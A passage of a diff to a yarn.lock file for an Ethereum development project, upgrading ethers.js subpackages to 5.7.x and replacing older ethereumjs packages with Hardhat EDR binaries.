sha512-0odtFdXu/XHtjQXJYA3u9G0G8btm0ND5Cu8M7i5vhEcE8/HmF4Lbdqanwyv4uQTr2tx6b7fQRmgLrsnpQlmnig== -"@ethersproject/properties@5.5.0", "@ethersproject/properties@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/properties/-/properties-5.5.0.tgz#61f00f2bb83376d2071baab02245f92070c59995" - integrity sha512-l3zRQg3JkD8EL3CPjNK5g7kMx4qSwiR60/uk5IVjd3oq1MZR5qUg40CNOoEJoX5wc3DyY5bt9EbMk86C7x0DNA== - dependencies: - "@ethersproject/logger" "^5.5.0" - -"@ethersproject/providers@5.5.1": - version "5.5.1" - resolved "https://registry.yarnpkg.com/@ethersproject/providers/-/providers-5.5.1.tgz#ba87e3c93219bbd2e2edf8b369873aee774abf04" - integrity sha512-2zdD5sltACDWhjUE12Kucg2PcgM6V2q9JMyVvObtVGnzJu+QSmibbP+BHQyLWZUBfLApx2942+7DC5D+n4wBQQ== - dependencies: - "@ethersproject/abstract-provider" "^5.5.0" - "@ethersproject/abstract-signer" "^5.5.0" - "@ethersproject/address" "^5.5.0" - "@ethersproject/basex" "^5.5.0" - "@ethersproject/bignumber" "^5.5.0" - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/constants" "^5.5.0" - "@ethersproject/hash" "^5.5.0" - "@ethersproject/logger" "^5.5.0" - "@ethersproject/networks" "^5.5.0" - "@ethersproject/properties" "^5.5.0" - "@ethersproject/random" "^5.5.0" - "@ethersproject/rlp" "^5.5.0" - "@ethersproject/sha2" "^5.5.0" - "@ethersproject/strings" "^5.5.0" - "@ethersproject/transactions" "^5.5.0" - "@ethersproject/web" "^5.5.0" +"@ethersproject/networks@5.7.1", "@ethersproject/networks@^5.7.0": + version "5.7.1" + resolved "https://registry.yarnpkg.com/@ethersproject/networks/-/networks-5.7.1.tgz#118e1a981d757d45ccea6bb58d9fd3d9db14ead6" + integrity sha512-n/MufjFYv3yFcUyfhnXotyDlNdFb7onmkSy8aQERi2PjNcnWQ66xXxa3XlS8nCcA8aJKJjIIMNJTC7tu80GwpQ== + dependencies: + "@ethersproject/logger" "^5.7.0" + +"@ethersproject/pbkdf2@5.7.0", "@ethersproject/pbkdf2@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/pbkdf2/-/pbkdf2-5.7.0.tgz#d2267d0a1f6e123f3771007338c47cccd83d3102" + integrity sha512-oR/dBRZR6GTyaofd86DehG72hY6NpAjhabkhxgr3X2FpJtJuodEl2auADWBZfhDHgVCbu3/H/Ocq2uC6dpNjjw== + dependencies: + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/sha2" "^5.7.0" + +"@ethersproject/properties@5.7.0", "@ethersproject/properties@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/properties/-/properties-5.7.0.tgz#a6e12cb0439b878aaf470f1902a176033067ed30" + integrity sha512-J87jy8suntrAkIZtecpxEPxY//szqr1mlBaYlQ0r4RCaiD2hjheqF9s1LVE8vVuJCXisjIP+JgtK/Do54ej4Sw== + dependencies: + "@ethersproject/logger" "^5.7.0" + +"@ethersproject/providers@5.7.2": + version "5.7.2" + resolved "https://registry.yarnpkg.com/@ethersproject/providers/-/providers-5.7.2.tgz#f8b1a4f275d7ce58cf0a2eec222269a08beb18cb" + integrity sha512-g34EWZ1WWAVgr4aptGlVBF8mhl3VWjv+8hoAnzStu8Ah22VHBsuGzP17eb6xDVRzw895G4W7vvx60lFFur/1Rg== + dependencies: + "@ethersproject/abstract-provider" "^5.7.0" + "@ethersproject/abstract-signer" "^5.7.0" + "@ethersproject/address" "^5.7.0" + "@ethersproject/base64" "^5.7.0" + "@ethersproject/basex" "^5.7.0" + "@ethersproject/bignumber" "^5.7.0" + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/constants" "^5.7.0" + "@ethersproject/hash" "^5.7.0" + "@ethersproject/logger" "^5.7.0" + "@ethersproject/networks" "^5.7.0" + "@ethersproject/properties" "^5.7.0" + "@ethersproject/random" "^5.7.0" + "@ethersproject/rlp" "^5.7.0" + "@ethersproject/sha2" "^5.7.0" + "@ethersproject/strings" "^5.7.0" + "@ethersproject/transactions" "^5.7.0" + "@ethersproject/web" "^5.7.0" bech32 "1.1.4" ws "7.4.6" -"@ethersproject/random@5.5.0", "@ethersproject/random@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/random/-/random-5.5.0.tgz#305ed9e033ca537735365ac12eed88580b0f81f9" - integrity sha512-egGYZwZ/YIFKMHcoBUo8t3a8Hb/TKYX8BCBoLjudVCZh892welR3jOxgOmb48xznc9bTcMm7Tpwc1gHC1PFNFQ== +"@ethersproject/random@5.7.0", "@ethersproject/random@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/random/-/random-5.7.0.tgz#af19dcbc2484aae078bb03656ec05df66253280c" + integrity sha512-19WjScqRA8IIeWclFme75VMXSBvi4e6InrUNuaR4s5pTF2qNhcGdCUwdxUVGtDDqC00sDLCO93jPQoDUH4HVmQ== dependencies: - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/logger" "^5.5.0" + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/logger" "^5.7.0" -"@ethersproject/rlp@5.5.0", "@ethersproject/rlp@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/rlp/-/rlp-5.5.0.tgz#530f4f608f9ca9d4f89c24ab95db58ab56ab99a0" - integrity sha512-hLv8XaQ8PTI9g2RHoQGf/WSxBfTB/NudRacbzdxmst5VHAqd1sMibWG7SENzT5Dj3yZ3kJYx+WiRYEcQTAkcYA== +"@ethersproject/rlp@5.7.0", "@ethersproject/rlp@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/rlp/-/rlp-5.7.0.tgz#de39e4d5918b9d74d46de93af80b7685a9c21304" + integrity sha512-rBxzX2vK8mVF7b0Tol44t5Tb8gomOHkj5guL+HhzQ1yBh/ydjGnpw6at+X6Iw0Kp3OzzzkcKp8N9r0W4kYSs9w== dependencies: - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/logger" "^5.5.0" + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/logger" "^5.7.0" -"@ethersproject/sha2@5.5.0", "@ethersproject/sha2@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/sha2/-/sha2-5.5.0.tgz#a40a054c61f98fd9eee99af2c3cc6ff57ec24db7" - integrity sha512-B5UBoglbCiHamRVPLA110J+2uqsifpZaTmid2/7W5rbtYVz6gus6/hSDieIU/6gaKIDcOj12WnOdiymEUHIAOA== +"@ethersproject/sha2@5.7.0", "@ethersproject/sha2@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/sha2/-/sha2-5.7.0.tgz#9a5f7a7824ef784f7f7680984e593a800480c9fb" + integrity sha512-gKlH42riwb3KYp0reLsFTokByAKoJdgFCwI+CCiX/k+Jm2mbNs6oOaCjYQSlI1+XBVejwH2KrmCbMAT/GnRDQw== dependencies: - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/logger" "^5.5.0" + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/logger" "^5.7.0" hash.js "1.1.7" -"@ethersproject/signing-key@5.5.0", "@ethersproject/signing-key@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/signing-key/-/signing-key-5.5.0.tgz#2aa37169ce7e01e3e80f2c14325f624c29cedbe0" - integrity sha512-5VmseH7qjtNmDdZBswavhotYbWB0bOwKIlOTSlX14rKn5c11QmJwGt4GHeo7NrL/Ycl7uo9AHvEqs5xZgFBTng== +"@ethersproject/signing-key@5.7.0", "@ethersproject/signing-key@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/signing-key/-/signing-key-5.7.0.tgz#06b2df39411b00bc57c7c09b01d1e41cf1b16ab3" + integrity sha512-MZdy2nL3wO0u7gkB4nA/pEf8lu1TlFswPNmy8AiYkfKTdO6eXBJyUdmHO/ehm/htHw9K/qF8ujnTyUAD+Ry54Q== dependencies: - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/logger" "^5.5.0" - "@ethersproject/properties" "^5.5.0" - bn.js "^4.11.9" + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/logger" "^5.7.0" + "@ethersproject/properties" "^5.7.0" + bn.js "^5.2.1" elliptic "6.5.4" hash.js "1.1.7" -"@ethersproject/solidity@5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/solidity/-/solidity-5.5.0.tgz#2662eb3e5da471b85a20531e420054278362f93f" - integrity sha512-9NgZs9LhGMj6aCtHXhtmFQ4AN4sth5HuFXVvAQtzmm0jpSCNOTGtrHZJAeYTh7MBjRR8brylWZxBZR9zDStXbw== - dependencies: - "@ethersproject/bignumber" "^5.5.0" - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/keccak256" "^5.5.0" - "@ethersproject/logger" "^5.5.0" - "@ethersproject/sha2" "^5.5.0" - "@ethersproject/strings" "^5.5.0" - -"@ethersproject/strings@5.5.0", "@ethersproject/strings@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/strings/-/strings-5.5.0.tgz#e6784d00ec6c57710755699003bc747e98c5d549" - integrity sha512-9fy3TtF5LrX/wTrBaT8FGE6TDJyVjOvXynXJz5MT5azq+E6D92zuKNx7i29sWW2FjVOaWjAsiZ1ZWznuduTIIQ== - dependencies: - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/constants" "^5.5.0" - "@ethersproject/logger" "^5.5.0" - -"@ethersproject/transactions@5.5.0", "@ethersproject/transactions@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/transactions/-/transactions-5.5.0.tgz#7e9bf72e97bcdf69db34fe0d59e2f4203c7a2908" - integrity sha512-9RZYSKX26KfzEd/1eqvv8pLauCKzDTub0Ko4LfIgaERvRuwyaNV78mJs7cpIgZaDl6RJui4o49lHwwCM0526zA== - dependencies: - "@ethersproject/address" "^5.5.0" - "@ethersproject/bignumber" "^5.5.0" - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/constants" "^5.5.0" - "@ethersproject/keccak256" "^5.5.0" - "@ethersproject/logger" "^5.5.0" - "@ethersproject/properties" "^5.5.0" - "@ethersproject/rlp" "^5.5.0" - "@ethersproject/signing-key" "^5.5.0" - -"@ethersproject/units@5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/units/-/units-5.5.0.tgz#104d02db5b5dc42cc672cc4587bafb87a95ee45e" - integrity sha512-7+DpjiZk4v6wrikj+TCyWWa9dXLNU73tSTa7n0TSJDxkYbV3Yf1eRh9ToMLlZtuctNYu9RDNNy2USq3AdqSbag== - dependencies: - "@ethersproject/bignumber" "^5.5.0" - "@ethersproject/constants" "^5.5.0" - "@ethersproject/logger" "^5.5.0" - -"@ethersproject/wallet@5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/wallet/-/wallet-5.5.0.tgz#322a10527a440ece593980dca6182f17d54eae75" - integrity sha512-Mlu13hIctSYaZmUOo7r2PhNSd8eaMPVXe1wxrz4w4FCE4tDYBywDH+bAR1Xz2ADyXGwqYMwstzTrtUVIsKDO0Q== - dependencies: - "@ethersproject/abstract-provider" "^5.5.0" - "@ethersproject/abstract-signer" "^5.5.0" - "@ethersproject/address" "^5.5.0" - "@ethersproject/bignumber" "^5.5.0" - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/hash" "^5.5.0" - "@ethersproject/hdnode" "^5.5.0" - "@ethersproject/json-wallets" "^5.5.0" - "@ethersproject/keccak256" "^5.5.0" - "@ethersproject/logger" "^5.5.0" - "@ethersproject/properties" "^5.5.0" - "@ethersproject/random" "^5.5.0" - "@ethersproject/signing-key" "^5.5.0" - "@ethersproject/transactions" "^5.5.0" - "@ethersproject/wordlists" "^5.5.0" - -"@ethersproject/web@5.5.1", "@ethersproject/web@^5.5.0": - version "5.5.1" - resolved "https://registry.yarnpkg.com/@ethersproject/web/-/web-5.5.1.tgz#cfcc4a074a6936c657878ac58917a61341681316" - integrity sha512-olvLvc1CB12sREc1ROPSHTdFCdvMh0J5GSJYiQg2D0hdD4QmJDy8QYDb1CvoqD/bF1c++aeKv2sR5uduuG9dQg== - dependencies: - "@ethersproject/base64" "^5.5.0" - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/logger" "^5.5.0" - "@ethersproject/properties" "^5.5.0" - "@ethersproject/strings" "^5.5.0" - -"@ethersproject/wordlists@5.5.0", "@ethersproject/wordlists@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/wordlists/-/wordlists-5.5.0.tgz#aac74963aa43e643638e5172353d931b347d584f" - integrity sha512-bL0UTReWDiaQJJYOC9sh/XcRu/9i2jMrzf8VLRmPKx58ckSlOJiohODkECCO50dtLZHcGU6MLXQ4OOrgBwP77Q== - dependencies: - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/hash" "^5.5.0" - "@ethersproject/logger" "^5.5.0" - "@ethersproject/properties" "^5.5.0" - "@ethersproject/strings" "^5.5.0" +"@ethersproject/solidity@5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/solidity/-/solidity-5.7.0.tgz#5e9c911d8a2acce2a5ebb48a5e2e0af20b631cb8" + integrity sha512-HmabMd2Dt/raavyaGukF4XxizWKhKQ24DoLtdNbBmNKUOPqwjsKQSdV9GQtj9CBEea9DlzETlVER1gYeXXBGaA== + dependencies: + "@ethersproject/bignumber" "^5.7.0" + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/keccak256" "^5.7.0" + "@ethersproject/logger" "^5.7.0" + "@ethersproject/sha2" "^5.7.0" + "@ethersproject/strings" "^5.7.0" + +"@ethersproject/strings@5.7.0", "@ethersproject/strings@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/strings/-/strings-5.7.0.tgz#54c9d2a7c57ae8f1205c88a9d3a56471e14d5ed2" + integrity sha512-/9nu+lj0YswRNSH0NXYqrh8775XNyEdUQAuf3f+SmOrnVewcJ5SBNAjF7lpgehKi4abvNNXyf+HX86czCdJ8Mg== + dependencies: + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/constants" "^5.7.0" + "@ethersproject/logger" "^5.7.0" + +"@ethersproject/transactions@5.7.0", "@ethersproject/transactions@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/transactions/-/transactions-5.7.0.tgz#91318fc24063e057885a6af13fdb703e1f993d3b" + integrity sha512-kmcNicCp1lp8qanMTC3RIikGgoJ80ztTyvtsFvCYpSCfkjhD0jZ2LOrnbcuxuToLIUYYf+4XwD1rP+B/erDIhQ== + dependencies: + "@ethersproject/address" "^5.7.0" + "@ethersproject/bignumber" "^5.7.0" + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/constants" "^5.7.0" + "@ethersproject/keccak256" "^5.7.0" + "@ethersproject/logger" "^5.7.0" + "@ethersproject/properties" "^5.7.0" + "@ethersproject/rlp" "^5.7.0" + "@ethersproject/signing-key" "^5.7.0" + +"@ethersproject/units@5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/units/-/units-5.7.0.tgz#637b563d7e14f42deeee39245275d477aae1d8b1" + integrity sha512-pD3xLMy3SJu9kG5xDGI7+xhTEmGXlEqXU4OfNapmfnxLVY4EMSSRp7j1k7eezutBPH7RBN/7QPnwR7hzNlEFeg== + dependencies: + "@ethersproject/bignumber" "^5.7.0" + "@ethersproject/constants" "^5.7.0" + "@ethersproject/logger" "^5.7.0" + +"@ethersproject/wallet@5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/wallet/-/wallet-5.7.0.tgz#4e5d0790d96fe21d61d38fb40324e6c7ef350b2d" + integrity sha512-MhmXlJXEJFBFVKrDLB4ZdDzxcBxQ3rLyCkhNqVu3CDYvR97E+8r01UgrI+TI99Le+aYm/in/0vp86guJuM7FCA== + dependencies: + "@ethersproject/abstract-provider" "^5.7.0" + "@ethersproject/abstract-signer" "^5.7.0" + "@ethersproject/address" "^5.7.0" + "@ethersproject/bignumber" "^5.7.0" + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/hash" "^5.7.0" + "@ethersproject/hdnode" "^5.7.0" + "@ethersproject/json-wallets" "^5.7.0" + "@ethersproject/keccak256" "^5.7.0" + "@ethersproject/logger" "^5.7.0" + "@ethersproject/properties" "^5.7.0" + "@ethersproject/random" "^5.7.0" + "@ethersproject/signing-key" "^5.7.0" + "@ethersproject/transactions" "^5.7.0" + "@ethersproject/wordlists" "^5.7.0" + +"@ethersproject/web@5.7.1", "@ethersproject/web@^5.7.0": + version "5.7.1" + resolved "https://registry.yarnpkg.com/@ethersproject/web/-/web-5.7.1.tgz#de1f285b373149bee5928f4eb7bcb87ee5fbb4ae" + integrity sha512-Gueu8lSvyjBWL4cYsWsjh6MtMwM0+H4HvqFPZfB6dV8ctbP9zFAO73VG1cMWae0FLPCtz0peKPpZY8/ugJJX2w== + dependencies: + "@ethersproject/base64" "^5.7.0" + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/logger" "^5.7.0" + "@ethersproject/properties" "^5.7.0" + "@ethersproject/strings" "^5.7.0" + +"@ethersproject/wordlists@5.7.0", "@ethersproject/wordlists@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/wordlists/-/wordlists-5.7.0.tgz#8fb2c07185d68c3e09eb3bfd6e779ba2774627f5" + integrity sha512-S2TFNJNfHWVHNE6cNDjbVlZ6MgE17MIxMbMg2zv3wn+3XSJGosL1m9ZVv3GXCf/2ymSsQ+hRI5IzoMJTG6aoVA== + dependencies: + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/hash" "^5.7.0" + "@ethersproject/logger" "^5.7.0" + "@ethersproject/properties" "^5.7.0" + "@ethersproject/strings" "^5.7.0" + +"@fastify/busboy@^2.0.0": + version "2.1.1" + resolved "https://registry.yarnpkg.com/@fastify/busboy/-/busboy-2.1.1.tgz#b9da6a878a371829a0502c9b6c1c143ef6663f4d" + integrity sha512-vBZP4NlzfOlerQTnba4aqZoMhE/a9HY7HRqoOPaETQcSQuWEIyZMHGfVu6w9wGtGK5fED5qRs2DteVCjOH60sA== "@ganache/ethereum-address@0.1.4": version "0.1.4" @@ -543,6 +545,24 @@ optionalDependencies: "@trufflesuite/bigint-buffer" "1.1.9" +"@jridgewell/resolve-uri@^3.0.3": + version "3.1.2" + resolved "https://registry.yarnpkg.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz#7a0ee601f60f99a20c7c7c5ff0c80388c1189bd6" + integrity sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw== + +"@jridgewell/sourcemap-codec@^1.4.10": + version "1.5.0" + resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz#3188bcb273a414b0d215fd22a58540b989b9409a" + integrity sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ== + +"@jridgewell/trace-mapping@0.3.9": + version "0.3.9" + resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz#6534fd5933a53ba7cbf3a17615e273a0d1273ff9" + integrity sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ== + dependencies: + "@jridgewell/resolve-uri" "^3.0.3" + "@jridgewell/sourcemap-codec" "^1.4.10" + "@metamask/eth-sig-util@^4.0.0": version "4.0.1" resolved "https://registry.yarnpkg.com/@metamask/eth-sig-util/-/eth-sig-util-4.0.1.tgz#3ad61f6ea9ad73ba5b19db780d40d9aae5157088" @@ -554,14 +574,6 @@ tweetnacl "^1.0.3" tweetnacl-util "^0.15.1" -"@morgan-stanley/ts-mocking-bird@^0.6.2": - version "0.6.4" - resolved "https://registry.yarnpkg.com/@morgan-stanley/ts-mocking-bird/-/ts-mocking-bird-0.6.4.tgz#2e4b60d42957bab3b50b67dbf14c3da2f62a39f7" - integrity sha512-57VJIflP8eR2xXa9cD1LUawh+Gh+BVQfVu0n6GALyg/AqV/Nz25kDRvws3i9kIe1PTrbsZZOYpsYp6bXPd6nVA== - dependencies: - lodash "^4.17.16" - uuid "^7.0.3" - "@noble/hashes@1.2.0", "@noble/hashes@~1.2.0": version "1.2.0" resolved "https://registry.yarnpkg.com/@noble/hashes/-/hashes-1.2.0.tgz#a3150eeb09cc7ab207ebf6d7b9ad311a9bdbed12" @@ -572,208 +584,136 @@ resolved "https://registry.yarnpkg.com/@noble/secp256k1/-/secp256k1-1.7.1.tgz#b251c70f824ce3ca7f8dc3df08d58f005cc0507c" integrity sha512-hOUk6AyBFmqVrv7k5WAw/LpszxVbj9gGN4JRkIX52fdFAj1UA61KXmZDvqVEm+pOyec3+fIeZB02LYa/pWOArw== -"@nomicfoundation/ethereumjs-block@4.2.2", "@nomicfoundation/ethereumjs-block@^4.0.0": - version "4.2.2" - resolved "https://registry.yarnpkg.com/@nomicfoundation/ethereumjs-block/-/ethereumjs-block-4.2.2.tgz#f317078c810a54381c682d0c12e1e81acfc11599" - integrity sha512-atjpt4gc6ZGZUPHBAQaUJsm1l/VCo7FmyQ780tMGO8QStjLdhz09dXynmhwVTy5YbRr0FOh/uX3QaEM0yIB2Zg== - dependencies: - "@nomicfoundation/ethereumjs-common" "3.1.2" - "@nomicfoundation/ethereumjs-rlp" "4.0.3" - "@nomicfoundation/ethereumjs-trie" "5.0.5" - "@nomicfoundation/ethereumjs-tx" "4.1.2" - "@nomicfoundation/ethereumjs-util" "8.0.6" - ethereum-cryptography "0.1.3" - -"@nomicfoundation/ethereumjs-blockchain@6.2.2", "@nomicfoundation/ethereumjs-blockchain@^6.0.0": - version "6.2.2" - resolved "https://registry.yarnpkg.com/@nomicfoundation/ethereumjs-blockchain/-/ethereumjs-blockchain-6.2.2.tgz#9f79dd2b3dc73f5d5a220f7d8a734330c4c26320" - integrity sha512-6AIB2MoTEPZJLl6IRKcbd8mUmaBAQ/NMe3O7OsAOIiDjMNPPH5KaUQiLfbVlegT4wKIg/GOsFH7XlH2KDVoJNg== - dependencies: - "@nomicfoundation/ethereumjs-block" "4.2.2" - "@nomicfoundation/ethereumjs-common" "3.1.2" - "@nomicfoundation/ethereumjs-ethash" "2.0.5" - "@nomicfoundation/ethereumjs-rlp" "4.0.3" - "@nomicfoundation/ethereumjs-trie" "5.0.5" - "@nomicfoundation/ethereumjs-util" "8.0.6" - abstract-level "^1.0.3" - debug "^4.3.3" - ethereum-cryptography "0.1.3" - level "^8.0.0" - lru-cache "^5.1.1" - memory-level "^1.0.0" - -"@nomicfoundation/ethereumjs-common@3.1.2", "@nomicfoundation/ethereumjs-common@^3.0.0": - version "3.1.2" - resolved "https://registry.yarnpkg.com/@nomicfoundation/ethereumjs-common/-/ethereumjs-common-3.1.2.tgz#041086da66ed40f2bf2a2116a1f2f0fcf33fb80d" - integrity sha512-JAEBpIua62dyObHM9KI2b4wHZcRQYYge9gxiygTWa3lNCr2zo+K0TbypDpgiNij5MCGNWP1eboNfNfx1a3vkvA== - dependencies: - "@nomicfoundation/ethereumjs-util" "8.0.6" - crc-32 "^1.2.0" - -"@nomicfoundation/ethereumjs-ethash@2.0.5": - version "2.0.5" - resolved "https://registry.yarnpkg.com/@nomicfoundation/ethereumjs-ethash/-/ethereumjs-ethash-2.0.5.tgz#0c605812f6f4589a9f6d597db537bbf3b86469db" - integrity sha512-xlLdcICGgAYyYmnI3r1t0R5fKGBJNDQSOQxXNjVO99JmxJIdXR5MgPo5CSJO1RpyzKOgzi3uIFn8agv564dZEQ== - dependencies: - "@nomicfoundation/ethereumjs-block" "4.2.2" - "@nomicfoundation/ethereumjs-rlp" "4.0.3" - "@nomicfoundation/ethereumjs-util" "8.0.6" - abstract-level "^1.0.3" - bigint-crypto-utils "^3.0.23" - ethereum-cryptography "0.1.3" - -"@nomicfoundation/ethereumjs-evm@1.3.2", "@nomicfoundation/ethereumjs-evm@^1.0.0": - version "1.3.2" - resolved "https://registry.yarnpkg.com/@nomicfoundation/ethereumjs-evm/-/ethereumjs-evm-1.3.2.tgz#f9d6bafd5c23d07ab75b8649d589af1a43b60bfc" - integrity sha512-I00d4MwXuobyoqdPe/12dxUQxTYzX8OckSaWsMcWAfQhgVDvBx6ffPyP/w1aL0NW7MjyerySPcSVfDJAMHjilw== - dependencies: - "@nomicfoundation/ethereumjs-common" "3.1.2" - "@nomicfoundation/ethereumjs-util" "8.0.6" - "@types/async-eventemitter" "^0.2.1" - async-eventemitter "^0.2.4" - debug "^4.3.3" - ethereum-cryptography "0.1.3" - mcl-wasm "^0.7.1" - rustbn.js "~0.2.0" - -"@nomicfoundation/ethereumjs-rlp@4.0.3", "@nomicfoundation/ethereumjs-rlp@^4.0.0": - version "4.0.3" - resolved "https://registry.yarnpkg.com/@nomicfoundation/ethereumjs-rlp/-/ethereumjs-rlp-4.0.3.tgz#8d9147fbd0d49e8f4c5ce729d226694a8fe03eb8" - integrity sha512-DZMzB/lqPK78T6MluyXqtlRmOMcsZbTTbbEyAjo0ncaff2mqu/k8a79PBcyvpgAhWD/R59Fjq/x3ro5Lof0AtA== - -"@nomicfoundation/ethereumjs-statemanager@1.0.5", "@nomicfoundation/ethereumjs-statemanager@^1.0.0": - version "1.0.5" - resolved "https://registry.yarnpkg.com/@nomicfoundation/ethereumjs-statemanager/-/ethereumjs-statemanager-1.0.5.tgz#951cc9ff2c421d40233d2e9d0fe033db2391ee44" - integrity sha512-CAhzpzTR5toh/qOJIZUUOnWekUXuRqkkzaGAQrVcF457VhtCmr+ddZjjK50KNZ524c1XP8cISguEVNqJ6ij1sA== +"@nomicfoundation/edr-darwin-arm64@0.6.5": + version "0.6.5" + resolved "https://registry.yarnpkg.com/@nomicfoundation/edr-darwin-arm64/-/edr-darwin-arm64-0.6.5.tgz#37a31565d7ef42bed9028ac44aed82144de30bd1" + integrity sha512-A9zCCbbNxBpLgjS1kEJSpqxIvGGAX4cYbpDYCU2f3jVqOwaZ/NU761y1SvuCRVpOwhoCXqByN9b7HPpHi0L4hw== + +"@nomicfoundation/edr-darwin-x64@0.6.5": + version "0.6.5" + resolved "https://registry.yarnpkg.com/@nomicfoundation/edr-darwin-x64/-/edr-darwin-x64-0.6.5.tgz#3252f6e86397af460b7a480bfe1b889464d75b89" + integrity sha512-x3zBY/v3R0modR5CzlL6qMfFMdgwd6oHrWpTkuuXnPFOX8SU31qq87/230f4szM+ukGK8Hi+mNq7Ro2VF4Fj+w== + +"@nomicfoundation/edr-linux-arm64-gnu@0.6.5": + version "0.6.5" + resolved "https://registry.yarnpkg.com/@nomicfoundation/edr-linux-arm64-gnu/-/edr-linux-arm64-gnu-0.6.5.tgz#e7dc2934920b6cfabeb5ee7a5e26c8fb0d4964ac" + integrity sha512-HGpB8f1h8ogqPHTyUpyPRKZxUk2lu061g97dOQ/W4CxevI0s/qiw5DB3U3smLvSnBHKOzYS1jkxlMeGN01ky7A== + +"@nomicfoundation/edr-linux-arm64-musl@0.6.5": + version "0.6.5" + resolved "https://registry.yarnpkg.com/@nomicfoundation/edr-linux-arm64-musl/-/edr-linux-arm64-musl-0.6.5.tgz#00459cd53e9fb7bd5b7e32128b508a6e89079d89" + integrity sha512-ESvJM5Y9XC03fZg9KaQg3Hl+mbx7dsSkTIAndoJS7X2SyakpL9KZpOSYrDk135o8s9P9lYJdPOyiq+Sh+XoCbQ== + +"@nomicfoundation/edr-linux-x64-gnu@0.6.5": + version "0.6.5" + resolved "https://registry.yarnpkg.com/@nomicfoundation/edr-linux-x64-gnu/-/edr-linux-x64-gnu-0.6.5.tgz#5c9e4e2655caba48e0196977cba395bbde6fe97d" + integrity sha512-HCM1usyAR1Ew6RYf5AkMYGvHBy64cPA5NMbaeY72r0mpKaH3txiMyydcHibByOGdQ8iFLWpyUdpl1egotw+Tgg== + +"@nomicfoundation/edr-linux-x64-musl@0.6.5": + version "0.6.5" + resolved "https://registry.yarnpkg.com/@nomicfoundation/edr-linux-x64-musl/-/edr-linux-x64-musl-0.6.5.tgz#9c220751b66452dc43a365f380e1e236a0a8c5a9" + integrity sha512-nB2uFRyczhAvWUH7NjCsIO6rHnQrof3xcCe6Mpmnzfl2PYcGyxN7iO4ZMmRcQS7R1Y670VH6+8ZBiRn8k43m7A== + +"@nomicfoundation/edr-win32-x64-msvc@0.6.5": + version "0.6.5" + resolved "https://registry.yarnpkg.com/@nomicfoundation/edr-win32-x64-msvc/-/edr-win32-x64-msvc-0.6.5.tgz#90d3ac2a6a8a687522bda5ff2e92dd97e68126ea" + integrity sha512-B9QD/4DSSCFtWicO8A3BrsnitO1FPv7axB62wq5Q+qeJ50yJlTmyeGY3cw62gWItdvy2mh3fRM6L1LpnHiB77A== + +"@nomicfoundation/edr@^0.6.5": + version "0.6.5" + resolved "https://registry.yarnpkg.com/@nomicfoundation/edr/-/edr-0.6.5.tgz#b3b1ebcdd0148cfe67cca128e7ebe8092e200359" + integrity sha512-tAqMslLP+/2b2sZP4qe9AuGxG3OkQ5gGgHE4isUuq6dUVjwCRPFhAOhpdFl+OjY5P3yEv3hmq9HjUGRa2VNjng== + dependencies: + 